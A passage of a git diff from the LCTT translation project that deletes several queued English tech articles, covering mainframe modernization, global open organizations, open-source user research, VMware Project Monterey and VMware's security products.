a survey of business and IT decision makers with Forrester Consulting and found 80% of respondents are focused on modernizing mainframe toolsets in an effort to identify and prevent data breaches, and 73% are increasing their security footprint. - -“Data protection and security are so critical, and mainframes remain one of the most secure and powerful platforms available when the right controls are in place,” Cobb said. - -### Pay per use - -Another direction IBM and the mainframe is moving is toward a more cloud-agile, consumption-based licensing model that lets customers pay only for what they consume, Mauri said. The company rolled out its Tailored Fit Pricing model in 2019 and has upwards of 80 customers onboard so far, Mauri said. It offers two consumption-based pricing models that can help customers cope with ever-changing workload and hence software costs. - -Mauri said IBM expects to make hardware more consumption based in the future. - -Predicting demand for IT services can be a major challenge, and in the era of hybrid and multicloud, everything is connected and workload patterns constantly change, Mauri wrote in a [blog][14] about the new pricing and services in 2019. “In this environment, managing demand for IT services can be a major challenge. As more customers shift to an enterprise IT model that incorporates on-premises, private cloud and public we’ve developed a simple cloud pricing model to drive the transformation forward.” - -### ML/AI opportunities - -Others say technologies such as machine learning and artificial intelligence will also drive future mainframe development. - -“Data insights help drive actionable and profitable results—-but the pool of data is growing at astronomical rates. That’s where AI can make a difference, especially when it’s on a mainframe. Consider the amount of data that resides on a mainframe for an organization in the banking, manufacturing, healthcare, or insurance sectors. You’d never be able to make sense of it all without AI,” said Deloitte’s Cobb. As an example, Cobb said core banking operations can do more than simply execute large volumes of transactions. - -“Banks need deep insights about customer needs, preferences, and intentions to compete effectively, along with speed and agility in sharing and acting on those insights. That’s easier said than done when data is constantly changing. Now if you can analyze data directly on the mainframe, you can get near real-time insights and action. That makes the mainframe an important participant in the AI/ML revolution,” Cobb said. - -The mainframe environment isn’t without challenges going forward. - -For example, there is a [growing market for moving mainframe applications off][15] of the Big Iron and onto cloud services. Large cloud players such as Amazon, Google and Microsoft are also involved in modernizing mainframe applications. For example, Google Cloud in February [bought mainframe cloud-migration service firm Cornerstone Technology][16] with an eye toward helping Big Iron customers move workloads to the private and public cloud. An ecosystem of mainframe modernization service providers such as [Astadia][17], [Asysco][18], [GTSoftware][19], LZLabs,  [Micro Focus][20] has also grown up. - -### COBOL coders needed - -Another challenge is finding and developing the right people to cultivate the mainframe environment. - -“It was predicted mainframes would eventually cease to exist so colleges stopped offering courses focused on COBOL and other critical mainframe skills. As Baby Boomers retire, mainframe talent concerns are becoming a reality,” Cobb said.   - -Deloitte’s survey found that 71% of respondents said their teams are understaffed, and 93% said its “moderately” to “extremely challenging” to acquire the right mainframe resources and skills, Cobb said. - -“Many large companies are addressing this issue by hiring and developing college recruits, developing a mentoring program, creating an internship, or turning to third parties for support. Mainframes aren’t going anywhere—the talent pool needs to match the demand,” Cobb said. - -While there are challenges in the future, Cobb said the consultancy’s survey showed customers are looking to _increase_ their investment in the mainframe with 91% of respondents identified as expanding their mainframe footprints as a moderate or critical priority in the next 12 months. - -Join the Network World communities on [Facebook][21] and [LinkedIn][22] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3576290/still-not-dead-the-mainframe-hangs-on-sustained-by-linux-and-hybrid-cloud.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/2231401/inside-ibm-s-game-changing-mainframe-moments.html -[2]: https://www.cio.com/article/3564791/10-professional-organizations-focused-on-diversity-in-tech.html -[3]: https://www.cio.com/article/3566069/being-black-in-it-3-tech-leaders-share-their-stories.html -[4]: https://www.cio.com/article/3532001/gender-gapped-the-state-of-gender-diversity-in-it.html -[5]: https://www.cio.com/article/3566098/maori-participation-in-it-insights-for-cios.html -[6]: https://www.computerworld.com/article/3567095/it-snapshot-ethnic-diversity-in-the-tech-industry.html -[7]: https://www.networkworld.com/article/3429596/ibm-fuses-its-software-with-red-hats-to-launch-hybrid-cloud-juggernaut.html -[8]: https://newsroom.ibm.com/Bringing-Linux-to-IBM-Z -[9]: https://www.networkworld.com/newsletters/signup.html -[10]: https://www.networkworld.com/article/3407746/will-ibms-acquisition-be-the-end-of-red-hat.html -[11]: https://www.ibm.com/products/wazi-for-red-hat-codeready-workspaces -[12]: https://www.openmainframeproject.org/ -[13]: https://www.openmainframeproject.org/projects/zowe -[14]: https://www.ibm.com/blogs/systems/ibm-z-defines-the-future-of-hybrid-cloud/ -[15]: https://www.networkworld.com/article/3567058/options-grow-for-migrating-mainframe-apps-to-the-cloud.html?utm_source=facebook&utm_content=content&utm_medium=social&utm_campaign=organic&fbclid=IwAR2JPUEItx11TeSqiIvgr3_HA4YQRv_U7imm4Z4WG-wCuir_WrrE2zmst5o -[16]: https://www.networkworld.com/article/3528451/google-cloud-moves-to-aid-mainframe-migration.html -[17]: https://www.astadia.com/blog/mainframe-migration-to-azure-in-5-steps -[18]: https://www.asysco.com/code-transformation/ -[19]: https://www.gtsoftware.com/services/migration-services/ -[20]: https://www.microfocus.com/en-us/home -[21]: https://www.facebook.com/NetworkWorld/ -[22]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200927 What would a global open organization look like.md b/sources/talk/20200927 What would a global open organization look like.md deleted file mode 100644 index 046c1b5b44..0000000000 --- a/sources/talk/20200927 What would a global open organization look like.md +++ /dev/null @@ -1,121 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What would a global open organization look like?) -[#]: via: (https://opensource.com/open-organization/20/9/global-open-organization) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -What would a global open organization look like? -====== -Solving global problems will require global collaboration. Working -openly is the best way forward. -![Pixelated globe][1] - -In the [first article in this series][2], I presented four dimensions of globalization and explained how they relate to [open organization principles][3]. Then, in [the second part][4], I reviewed a history of globalization, one based on [Jeffrey D. Sachs][5]' book [The Ages of Globalization][6]. That piece tracked a history of gradually increasing openness—from the beginning of human civilization up to the start of the industrial revolution, which began around the beginning of the 1800s. - -In this final installment of the series, I will continue my review of Sachs' book by examining two more recent historical settings, the Industrial Age and the Digital Age, to explain how open principles have shaped more recent trends in globalization—and how these principles will be integral to our global future. - -### The Industrial Age (1800‒2000 CE): The urban, city growth, and machine setting - -According to Sachs, around 1820, 85% of the global population was still involved in farming and lived at a subsistence level. Of them, 93% were relatively unconnected, living in rural areas. - -Through the advent of industrial development, that all changed. - -By 2000, about half the global population (46.7%) lived in urban areas, their average incomes soared, and average life expectancy had reached 67 years old (according to 2000‒2005 data). Living in an interconnected world among a web of nonstop data altered the relative isolation of village life—an illustration of the importance of building **communities** that are **inclusive**, **collaborate** deeply, are very open and **transparent** with each other, and support each other when there are unexpected challenges **(adaptable)**. - -The Industrial Revolution began in 1776 with James Watt's invention of the steam engine in Scotland. Railroads and steamships began connecting the world. Large factories began bringing in people from the countryside. As the British economic historian E. A. Wrigley has written, this was a movement from an "organic economy" to an "energy-rich economy" in which we see a shift from a dependence on raw materials from vegetable or animal (including human manual labor) for energy to three main fossil fuels for energy (coal, petroleum and natural gas) that was deployed after 1800 (and then, just 100 years later, nuclear technology). - -[Global GDP per capita][2] hadn't changed much until around 1780‒1830, when the steam engine sparked a wave of increase, according to economist [Nikolai Kondratiev][7]. From then, upward movements in GDP [have come in additional waves][8], Kondratiev says. The second wave arrived around 1830‒1880, with investments in railways and steel. The third (1880‒1930) came from electrification. Automobiles sparked the fourth wave around 1930‒1970. The fifth, information technologies, began around 2010. And now intelligent technology, including robotics and artificial intelligence, stands to spark another from 2010‒2050. All these investments have changed the environment in which we build communities, collaborate, share information and address challenges (they also created income inequality between regions—between Kondratiev's "energy rich" economies and others). - -By the end of World War II (around 1945) many organizations had been established to promote what today we might call greater openness. Organizations like the [United Nations (UN)][9], the [International Monetary Fund (IMF)][10], [the World Bank][11], [the General Agreement on Tariffs and Trade (GATT)][12], [the Food and Agricultural Organization][13] and the [World Health Organization (WHO)][14] continue to promote various forms of global cooperation. The same is true of global philanthropic organizations and private foundations like the [Bill and Melinda Gate Foundation][15], [Greenpeace][16] and others. They will be more needed and must be strengthened in the years ahead. - -### The Digital Age (Twenty-First Century): The connection and sustainability-challenge setting - -We are only one-fifth of the way into the 21st Century. According to Sachs, globalized communities in this period will address different issues than those they've addressed up until now. Economic activity, jobs, lifestyles, and geopolitics will all gradually change. To address these changes, we can apply open organizational principles. - -According to Sachs, these issues will be central to those changes. - -**Drastic economic and financial inequality.** We must address the distribution of global wealth. Workers displaced by machines have seen their earnings stagnate or decline. These workers must be retrained and re-skilled with processes financed through taxation. This is equally true between developed and developing countries. Developed countries must provide some kind of managed support to developing countries as they transition in the years and decades ahead. These are global issues and should be addressed as such, Sachs says, or unmanageable global unrest and continued poverty will result. - -Could we write a mission statement for humankind? If we could, open organization principles should be its backbone. - -**A global environmental crisis.** "The world economy has increased roughly a hundredfold over the past two centuries: roughly ten times the population and ten times the GDP per capita," Sachs writes. "Yet the physical planet has remained constant, and the human impact on that environment has therefore intensified dramatically." Issues like climate change, the burning of fossil fuels, mass destruction of biodiversity, and the dire pollution of air, soils, freshwater and oceans must all be topics of _global_ conversation and collaboration, or we will watch our environment worsen, Sachs says. - -**Increased chance of global war.** In Sachs' outline of historical periods, shifts in geopolitical power are often accompanied by war. That potential is once more a potential concern. This issue will require a great deal of open discussions between these nations. - -### Governance through the ages - -Let's take one more global look at [organizational governance through the ages][4]. According to Sachs, governance has become more global over time. - - * In the Paleolithic Age (70,000-10,000 BCE), there were strong bonds developed between nomadic clans, particularly "bands" of 25‒30 members within those clans. - * In the Neolithic Age (10,000-3,000 BCE), through agricultural advancement, there was village life and local politics. - * In the Equestrian Age (3,000-1,000 BCE), through animal domestication and travel by horses, states were formed and governed. - * In the Classical Age (1,000 BCE-1500 CE), governance expanded to regional multi-ethnic empires through education and further information documentation. - * In the Ocean Age (1500-1800 CE), through long-distance sea travel, larger global empire governance started. - * In the Industrial Age (1800-2000 CE), the United Nations was formed and two dominant powers emerged (namely, the United Kingdom and the United States). - * In the Digital Age (the 21st Century), shifting geopolitical conditions will prompt new developments in global organizational governance, particularly in a globally connected world in which China and the United States will play major roles. - - - -Sachs notes that prosperity and longer life expectancy have resulted from increased global interconnectedness and organizational openness. - -So how might we build the next generation of global, open organizations? - -### An age of truly global collaboration - -According to Professor Sachs, in order to get buy-in to address these issues, currently underrepresented regions will need a more powerful voice in the global community. Nations will not buy into potential changes unless they feel they are fully represented, participating in a true collaborative dialog. Configuring a global community attentive to members' needs is extremely important. Without ideal representation and talent in the room, very little can be achieved. - -For example, to obtain stronger global buy-in, Sachs recommends one representative from each of eight major global regions in the United Nations (North America, South America, European Union, African Union, South Asia, East Asia, Commonwealth of Independent States, and Western Asia). A manageable team of eight people discussing global issues has a higher chance of success. - -Also, Sachs recommends that Brazil, Germany, India, Indonesia, Japan, and Nigeria should be permanent members of the UN Security Council. Then, global issues can be more easily and seriously addressed. As is, he writes, the 193 individual member countries can do very little. - -A successful development agenda (the community's purpose) requires inclusive partnerships at the global, regional, national and local levels. They have to be built upon a shared vision and shared goals with all human beings and the planet at the center. Furthermore, with an increase in urban populations, communities should be getting involved in not only issues within their area but globally as well. Here again, their representation and participation are required to get them to buy-in to anything agreed on. - -In short, a globally viable open organization of member nations would be beneficial. - -Here are two challenges such an organization could help address. - -**Ending world poverty.** Sachs believes that in our generation we should see an end to world poverty—particularly if the global community works on supporting poorer communities, controlling disease globally, increasing school attendance, and improving infrastructure worldwide. Work on these issues have already begun in many places at a _national_ level (consider China's [Belt and Road initiative][17]), but it should be coordinated on a global scale. - -**Promoting Literacy.** In the 1950s, global illiteracy (in any language) had been eliminated in most high-income countries, and yet the global illiteracy rate was still roughly 80% in developing countries. This gap made global collaboration and joint problem-solving difficult. Therefore, even though life expectancy in developed countries was then around 68 years of age, in developing countries it was only around 40 years of age. Open organization principles become very difficult to be adopted globally, or won't work at all worldwide, where such illiteracy is common. Multi-language education must be a priority. While English is the language of choice in most scientific, financial, or diplomatic discussions, it is not the most _spoken_ language (Chinese is). Foreign language learning, foreign language interpreting, and foreign language translation will become more important as well in the years ahead to promote global understanding, cooperation and collaboration. - -### A shared identity - -We all have identities formed in part by the groups in which we participate—sports teams, religious groups, regions, and nationalities. We tend to promote and support those that we identify with. So how might we develop an identity for a new, _global_ organization that welcomes open participation in solving global issues? - -Could we write a mission statement for humankind? - -If we could, [open organization principles][3] should be its backbone. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/9/global-open-organization - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/pixelated-world.png?itok=fHjM6m53 (Pixelated globe) -[2]: https://opensource.com/open-organization/20/7/globalization-history-open -[3]: https://theopenorganization.org/definition -[4]: https://opensource.com/open-organization/20/8/global-history-collaboration -[5]: https://en.wikipedia.org/wiki/Jeffrey_Sachs -[6]: https://cup.columbia.edu/book/the-ages-of-globalization/9780231193740 -[7]: https://en.wikipedia.org/wiki/Nikolai_Kondratiev -[8]: https://ourworldindata.org/grapher/world-gdp-over-the-last-two-millennia -[9]: https://www.un.org/en/ -[10]: https://www.imf.org/external/index.htm -[11]: https://www.worldbank.org/ -[12]: https://en.wikipedia.org/wiki/General_Agreement_on_Tariffs_and_Trade#:~:text=The%20General%20Agreement%20on%20Tariffs,such%20as%20tariffs%20or%20quotas. -[13]: https://en.wikipedia.org/wiki/Food_and_Agriculture_Organization -[14]: https://www.who.int/ -[15]: https://www.gatesfoundation.org/ -[16]: https://opensource.com/tags/open-organization-greenpeace -[17]: https://www.beltroad-initiative.com/belt-and-road/ diff --git a/sources/talk/20200928 5 ways to conduct user research with an open source mindset.md b/sources/talk/20200928 5 ways to conduct user research with an open source mindset.md deleted file mode 100644 index c2072cccc3..0000000000 --- a/sources/talk/20200928 5 ways to conduct user research with an open source mindset.md +++ /dev/null @@ -1,117 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 ways to conduct user research with an open source mindset) -[#]: via: (https://opensource.com/article/20/9/open-source-user-research) -[#]: author: (Alana Fialkoff https://opensource.com/users/alana) - -5 ways to conduct user research with an open source mindset -====== -See how this team elevates their user research experiences and results -with an open source approach. -![Mobile devices are a big part of our daily lives][1] - -There are common beliefs about user experiences—the best ones are user-centered, iterative, and intuitive. When user experience (UX) research is conducted, user stories about these experiences are collected—but the research methods chosen inform user experiences, too. - -So, what makes for an engaging research experience, and how can methods evolve alongside products to better connect with users? - -[Red Hat's User Experience Design (UXD) research team][2] has the answer: a community-centered, open source mindset.  - -As a UX writer on Red Hat's UXD team, I create new design documentation, empower team voices, and share Red Hat's open source story. My passion lies in using content to connect and inspire others. On our [Twitter][3] and [Medium][4] channels, we share thought leadership about UX writing, research, development, and design, all to amplify and grow our open source community. This community is at the heart of what we do. So when I learned how the research team centers community throughout their user testing, I leaped at the chance to tell their story. - -### Approaching research with an open source mindset - -Red Hat's UXD team creates in the open, and this ideology applies to their research, too. Thinking the open source way involves adopting a community-first and community-driven frame of mind. New ideas can come from anywhere, and an open source mindset embraces these varied voices and perspectives. - -Structuring research with an open source mindset means each research technique should be driven by two angles—we don't just want to learn about our users; we want to learn from them, too. - -To satisfy both of these user-focused objectives, we make research decisions backed by other voices, not just our own. By sourcing input from beyond our team, we design research experiences that are truly tailored to the communities we serve. - -Guiding questions help us streamline this process. Some questions the team's researchers use to develop their methods include: - - * Does this method amplify user voices? - * Are we facilitating open communication with our users? - * Does this method build a meaningful connection with our user base? - * What kind of experience does this technique build? Is it memorable? Engaging? - - - -Notice a trend? Each question hinges on community. - -### Building research experiences like user experiences - -Researchers approach their UX research as a user experience, too. We want our research sessions to have the same qualities as our user interfaces: - - * Memorable - * Engaging - * Intuitive - * User-centered - - - -Research offers in-depth engagement with our user base, so it's important to tailor our techniques to that community. When we conduct user research, we learn more about how our users engage with our products and use that knowledge to improve them. We can use that same process to shape future research sessions. - -Open source, user-centered research—sounds great. But how can we actually achieve it? - -Let's take a look at five collaborative techniques we use to design more immersive user research experiences the open source way. - -### Evolve research methods to build engaging experiences and strong connections - -Tailor research methods to the target audience, with a goal to create a connective experience. The tools at our disposal vary largely depending on our venue (in-person vs. virtual), so this approach lets us get creative. - - * **Add dimension**: Are you conducting a survey? Consider appealing your users' senses offscreen. We've expanded our research to the third dimension using strings, LEGOs, and card diagrams to collect data in more tactile ways. - * **Streamline**: Are your research methods efficient and time-conscious? There's only one way to find out. Follow up with users about their experience post-session. If they say a survey or form was cumbersome, consider condensing your longer questions into smaller, more digestible ones. - * **Simplify**: Use what you know about your user base to customize your techniques. A busy community working in enterprise IT, for example, might only have time to fill out a brief form. Structure your methods so that they're navigable and intuitive for your specific audience. - - - -### Guide research with research - -Contextualize questions around user's needs. Explore their goals. Identify their cares, difficulties, and thoughts on product performance. Use these findings to design more meaningful research sessions, and check in often. As our products evolve with our users, our research methods do, too. - -### Keep an open mind - -Work with the community to disprove our own assumptions. Lean into the spirit of open source by engaging with others across the team, company, user base, and industry. Use these communities like a sounding board for ideas and welcome their feedback. Community-centered conversations take place in environments like: - - * Team meetings and brainstorms - * Company calls and research shares - * Conferences and industry panels - * Internal and external blogging platforms - * Other thought leadership forums - - - -This means speaking at monthly meetings, messaging across team channels, and presenting ideas at annual thought leadership events, where a multitude of voices meet from across the industry to share their experience and expertise. - -### Communicate, communicate, communicate - -With an open source mindset comes open communication. Spark meaningful conversations with users and keep those channels open beyond formal research sessions. Community-driven research techniques start with just that: community. Invest in a strong connection with users to invite deeper insights and facilitate more impactful sessions. - -### Experiment with new research techniques and take a user-centered, UX approach - -Prototype. Test. Iterate. Repeat. The methods will morph as the open source approach takes shape. - -That's the magic of conducting research in the open: dynamic change, driven by a deeper connection to the community. - -Learn more about how Red Hat's UXD team conducts research by checking out [DevConf.US][5], where individuals across the open source community come together to talk all things tech, open source, and UX. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/open-source-user-research - -作者:[Alana Fialkoff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mobile-demo-device-phone.png?itok=y9cHLI_F (Mobile devices are a big part of our daily lives) -[2]: https://medium.com/patternfly/from-interviewers-to-interviewees-meet-red-hats-ux-research-team-af860a65abc5 -[3]: https://twitter.com/RedHatUXD -[4]: https://medium.com/patternfly -[5]: https://www.devconf.info/us/ diff --git a/sources/talk/20200930 VMware plan disaggregates servers- offloads network virtualization and security.md b/sources/talk/20200930 VMware plan disaggregates servers- offloads network virtualization and security.md deleted file mode 100644 index 2f2c1bc343..0000000000 --- a/sources/talk/20200930 VMware plan disaggregates servers- offloads network virtualization and security.md +++ /dev/null @@ -1,71 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (VMware plan disaggregates servers; offloads network virtualization and security) -[#]: via: (https://www.networkworld.com/article/3583990/vmware-plan-disaggregates-servers-offloads-network-virtualization-and-security.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -VMware plan disaggregates servers; offloads network virtualization and security -====== -VMware Project Monterey includes NVIDIA, Intel and goes a long way to meld bare metal servers, graphics processing units -Henrik5000 / Getty Images - -VMware is continuing its effort to remake the data center, cloud and edge to handle the distributed workloads and applications of the future. - -At its virtual VMworld 2020 event the company previewed a new architecture called Project Monterey that goes a long way toward melding bare-metal servers, graphics processing units (GPUs), field programmable gate arrays (FPGAs), network interface cards (NICs) and security into a large-scale virtualized environment. - -Monterey would extend VMware Cloud Foundation (VCF), which today integrates the company’s vShphere virtualization, vSAN storage, NSX networking and vRealize cloud management systems to support GPUs, FPGAs and NICs into a single platform that can be deployed on-premises or in a public cloud. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -The combination of a rearchitected VCF with Project Monterey will disaggregate server functions, add support for bare-metal servers and let an application running on one physical server consume hardware accelerator resources such as FPGAs from other physical servers, said Kit Colbert vice president and chief technology officer of VMware’s Cloud Platform business unit. - -This will also enable physical resources to be dynamically accessed based on policy or via software API, tailored to the needs of the application, Colbert said.  “What we see is that these new apps are using more and more of server CPU cycles. Traditionally, the industry has relied on the CPU for everything--application business logic, processing network packets, specialized work such as 3D modeling, and more,” Colbert wrote in a [blog][2] outlining Project Monterey. - -“But as app requirements for compute have continued to grow, hardware accelerators including GPUs, FPGAs, specialized NICs have been developed for processing workloads that could be offloaded from the CPU.  By leveraging these accelerators, organizations can improve performance for the offloaded activities and free up CPU cycles for core app-processing work.” - -A key component of Monterey is VMware’s SmartNIC which incorporates a general-purpose CPU, out-of-band management, and virtualized device features. As part of Monterey, VMware has enabled its ESXi hypervisor to run on its SmartNICs which will let customers use a single management framework to manage all their compute infrastructure whether it be virtualized or bare metal. - -The idea is that by supporting SmartNICs, VCF will be able to maintain compute virtualization on the server CPU while offloading networking and storage I/O functions to the SmartNIC CPU. Applications can then make use of the available network bandwidth while saving server CPU cycles that will improve application performance, Colbert stated. - -As for security, each SmartNIC can run a stateful firewall and an advanced security suite. - -“Since this will run in the NIC and not in the host, up to thousands of tiny firewalls will be able to be deployed and automatically tuned to protect specific application services that make up the application--wrapping each service with intelligent defenses that can shield any vulnerability of that specific service,” Colbert stated. “Having an ESXi instance on the SmartNIC provides greater defense-in-depth. Even if the x86 ESXi is somehow compromised, the SmartNIC ESXi can still enforce proper network security and other security policies.” - -Part of the Monterey rollout included a broad development agreement between VMware and GPU giant Nvidia to bring its BlueField-2 data-processing unit (DPU) and other technologies into Monterey.  The BlueField-2 offloads network, security, and storage tasks from the CPU. - -Nvidia DPUs can run a number of tasks, including network virtualization, load balancing, data compression, packet switching and encryption today across two ports, each carrying traffic at 100Gbps. “That’s an order of magnitude faster than CPUs geared for enterprise apps. The DPU is taking on these jobs so CPU cores can run more apps, boosting vSphere and data-center efficiency,” according to an Nvidia blog “As a result, data centers can handle more apps, and their networks will run faster, too.” - -In addition to the Monterey agreement, VMware and Nvidia said they would work together to develop an enterprise platform for AI applications.  Specifically, the companies said GPU-optimized AI software available on the [Nvidia NGC hub][3] will be integrated into VMware vSphere, VMware Cloud Foundation and VMware Tanzu. - -[Now see how AI can boost data-center availability and efficiency][4] - -This will help accelerate AI adoption, letting customers extend existing infrastructure to support AI and manage all applications with a single set of operations. - -Intel and Pensando announced SmartNIC technology integration as part of Project Monterey, and  Dell Technologies, HPE and Lenovo said they, too, would support integrated systems based on Project Monterey. - -Project Monterey is a technology preview at this point and VMware did not say when it expects to deliver it. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3583990/vmware-plan-disaggregates-servers-offloads-network-virtualization-and-security.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://blogs.vmware.com/vsphere/2020/09/announcing-project-monterey-redefining-hybrid-cloud-architecture.html -[3]: https://www.nvidia.com/en-us/gpu-cloud/ -[4]: https://www.networkworld.com/article/3274654/ai-boosts-data-center-availability-efficiency.html -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20201002 VMware highlights security in COVID-era networking.md b/sources/talk/20201002 VMware highlights security in COVID-era networking.md deleted file mode 100644 index 9cc050ddf6..0000000000 --- a/sources/talk/20201002 VMware highlights security in COVID-era networking.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (VMware highlights security in COVID-era networking) -[#]: via: (https://www.networkworld.com/article/3584412/vmware-highlights-security-in-covid-era-networking.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -VMware highlights security in COVID-era networking -====== -VMware is tackling the challenges of securing distributed enterprise resources with product enhancements including the new Carbon Black Cloud Workload software and upgrades to its SD-WAN and SASE products. -ArtyStarty / Getty Images - -As enterprise workloads continue to move off-premises and employees continue to work remotely during the COVID-19 pandemic, securing that environment remains a critical challenge for IT. - -At its virtual VWworld 2020 gathering, VMware detailed products and plans to help customers deal with the challenges of securing distributed enterprise resources. - -**More about SD-WAN**: [How to buy SD-WAN technology: Key questions to consider when selecting a supplier][1] • [What SD-Branch is and why you'll need it][2] • [What are the options for securing SD-WAN?][3] - -"Amid global disruption, the key to survival for many companies has meant an accelerated shift to the cloud and, ultimately, bolting on security products in their data centers," said Sanjay Poonen, VMware's Chief Operating Officer, Customer Operations. "But legacy security systems are no longer sufficient for organizations that are using the cloud as part of their computing infrastructure. It's time to rethink security for the cloud. Organizations need protection at the workload level, not just at the endpoint." - -With that in mind, VMware introduced Carbon Black Cloud Workload software that combines vulnerability reporting with security detection and response capabilities to protect workloads running in virtualized, private and hybrid cloud environments, VMware stated.    - -The new packages – along with [other upgrades to its security software][4] – represent VMware's continued development and integration of the Carbon Black security technology it [acquired a year ago][5] for $2.1 billion.  - -"Tightly integrated with vSphere, VMware Carbon Black Cloud Workload provides agentless security that alleviates installation and management overhead and consolidates the collection of [telemetry][6] for multiple workload security use cases," VMware stated.  - -The idea is to allow security and infrastructure teams to automatically secure new and existing workloads at every point in the security lifecycle, while simplifying operations and consolidating the IT and security stack. With the software, customers can analyze attacker behavior patterns over time to detect and stop never-seen-before attacks, including those manipulating known-good software. If an attacker bypasses perimeter defenses, security teams can shut down the attack before it escalates to a data breach, VMware stated.  - -All current vSphere 6.5 and VMware Cloud Foundation 4.0 customers can give the package a try for free for the next six months, VMware stated. VMware plans to introduce a Carbon Black Cloud module for hardening and better securing Kubernetes workloads as well. - -The company also enhanced its Workspace ONE platform that securely manages end users' mobile devices and cloud-hosted virtual desktops and applications from the cloud or on-premise. - -The company says it blended VMware Workspace ONE Horizon and VMware Carbon Black Cloud to offer behavioral detection to protect against ransomware and file-less malware. On VMware vSphere, the solution is integrated into VMware Tools, removing the need to install and manage additional security agents, according to the company.  - -Bolstering support for Apple Mac and Microsoft Windows 10 remote users, VMware added Workspace Security Remote, which includes the antivirus, audit and remediation, and detection and response capabilities of Carbon Black Cloud. It also includes the analytics, automation, device health, orchestration, and zero-trust access capabilities of the Workspace ONE platform. - -Securing the remote work environment is a common theme among other VMWare announcements, including news around its [SD-WAN and secure access service edge (SASE)][7] products and its overarching Virtual Cloud Network architecture. - -Taken together, the enhancements further VMware's goal of integrating security features within its infrastructure – a concept it calls intrinsic security – in an effort to better protect networked workloads than traditional piecemeal protection systems could. - -The democratization of compute was already underway before the COVID situation pushed it further, faster, said Sanjay Uppal, senior vice president and general manager of the VeloCloud Business Unit at VMware. "So with the remote workforce growing we need to make privacy and security drop-dead simple, and that is the goal." - -A more futuristic goal for the company is to provide a unified approach to security incident detection and response that can leverage multiple domains – from endpoint to workload to user to network. An emerging architecture that promises those capabilities is Extended Detection and Response (XDR), and VMware says it intends to support it.  - -In a recent _[CSO][8]_ [column][8], Enterprise Strategy Group senior principal analyst Jon Oltsik defined XDR as "an integrated suite of security products spanning hybrid IT architectures, designed to interoperate and coordinate on threat prevention, detection and response. In other words, XDR unifies control points, security telemetry, analytics, and operations into one enterprise system." - -ESG research indicates that 84% of organizations are actively integrating security technologies so XDR can act as a turnkey security technology integration solution.  - -"While vendors will offer different XDR bundles, ESG research indicates that large organizations really want XDR to include endpoint/server/cloud workload security, network security, coverage of the most common threat vectors (i.e., email/web), file detonation (i.e., sandboxing), threat intelligence, and analytics," Oltsik stated. - -Gartner said of XDR: "Although XDR tools are similar in function to security incident and event monitoring (SIEM) and security orchestration, automation and response tools, they are primarily differentiated by the level of integration at deployment and the focus on incident response." - -The primary goals of an XDR solution are to increase detection accuracy by correlating threat intelligence and signals across multiple security solutions, and to improve security operations efficiency and productivity. - -For its part, VMware said XDR is the opportunity to do just that: provide a unified approach to security incident detection and response that can leverage multiple domains from endpoint to workload to user to network. - -VMware called XDR "a multi-year effort to build the most advanced and comprehensive security incident detection and response solutions available" and will include cross-platform integration across its portfolio including Workspace ONE, vSphere, Carbon Black Cloud, and NSX Service-defined Firewall. - -Join the Network World communities on [Facebook][9] and [LinkedIn][10] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3584412/vmware-highlights-security-in-covid-era-networking.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: 